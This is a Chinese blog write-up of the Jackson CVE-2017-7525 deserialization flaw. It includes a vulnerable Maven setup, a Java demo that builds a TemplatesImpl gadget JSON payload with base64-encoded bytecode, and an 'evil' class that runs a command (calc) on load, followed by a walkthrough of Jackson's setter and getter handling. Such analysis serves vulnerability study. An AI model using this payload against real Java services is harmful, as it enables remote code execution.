当前位置: 首页 > news >正文

Jackson CVE-2017-7525 反序列化漏洞

0x00 前言

Jackson 相对应fastjson来说利用方面要求更加苛刻,默认情况下无法进行利用。

同样本次的调用链也可以参考fastjson内容:Java代码审计——Fastjson TemplatesImpl调用链

相关原理,可以参考:Jackson 反序列化漏洞原理

0x01 环境搭建

pom文件如下

    <dependencies><dependency><groupId>com.fasterxml.jackson.dataformat</groupId><artifactId>jackson-dataformat-xml</artifactId><version>2.7.9</version></dependency><dependency><groupId>org.javassist</groupId><artifactId>javassist</artifactId><version>3.19.0-GA</version></dependency></dependencies>

测试Demo:

 ClassPool classPool = ClassPool.getDefault();CtClass ctClass = classPool.getCtClass("com.evil");byte[] bytes = ctClass.toBytecode();String encoded = Base64.encode(bytes);String json = "{\"object\":[\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",{" +"\"transletBytecodes\":[\""+encoded+"\"]," +"\"transletName\":\"cs\"," +"\"outputProperties\":{}" +"}]}";System.out.printf(json);ObjectMapper mapper = new ObjectMapper();mapper.enableDefaultTyping();mapper.readValue(json, People.class);}

evil文件

public class evil extends AbstractTranslet {public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) {}public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}public evil() throws IOException {Runtime.getRuntime().exec("calc");}public static void main(String[] args) throws IOException {evil obj = new evil();}
}

其他环境

  • jdk 1.7u2

0x02 漏洞复现

在这里插入图片描述

0x03 原理分析

主要原理就是需要调用指定类的setter方法来进行赋值,这个没有什么好解释的,主要是看一下Jackson是如何触发Getter的。

setter和getter可以参考:Java中动态调用setter以及getter

重点在循环遍历的位置:

jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\BeanDeserializer.class#vanillaDeserialize
在这里插入图片描述在这里插入图片描述

当存在set方法的时候就调用 jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\impl\FieldProperty.class,就会触发set方法

在这里插入图片描述

当不存set方法的时候就会调用jackson-databind-2.7.9.jar!\com\fasterxml\jackson\databind\deser\impl\SetterlessProperty.class

在这里插入图片描述
实际上fastjson的调用链,jackson基本都是可以用的

以上

http://www.lryc.cn/news/25817.html

相关文章:

  • 【2023】DevOps、SRE、运维开发面试宝典之Kubernetes相关面试题
  • 【算法】PatchMatch立体匹配算法_原理解析
  • 【同步工具类:CyclicBarrier】
  • Android 12.0 Settings 去掉打开开发者模式和USB调试模式的广播
  • OSI七层网络模型和TCP/IP四层网络模型的异同
  • 接口测试必备技能 - 加密和签名
  • JVM虚拟机概述(1)
  • 学习.NET MAUI Blazor(七)、实现一个真正的ChatGPT聊天应用
  • Django框架学习
  • JavaSE21-集合1-set
  • Web版和客户端哪种SQL工具更好?ChatGPT有话要说
  • 从客户端的角度来看移动端IM即时通讯的消息可靠性和送达机制
  • 2023年java春招面试题及答案
  • Django学习——基础篇(上)
  • 研报精选230302
  • Unity心得
  • TryHackMe-Binex
  • 外贸人如何写出优秀的开发信?附详细思路
  • python自学之《21天学通Python》(18)——第21章 案例2 Python搞定大数据
  • 面试问题【数据库】
  • Allegro如何输出钻孔表操作指导
  • 消息队列 面试题 整理
  • 【Java】对象比较大小
  • 发票自动OCR识别并录入模板 3分钟免费配置
  • Dubbo 配置说明
  • 英飞凌TCxxx实战系列01_Alarm处理
  • 飞桨全量支持业内AI科学计算工具——DeepXDE!
  • 【c++基础】
  • 语音识别技术对比分析
  • Idea git 回滚远程仓库版本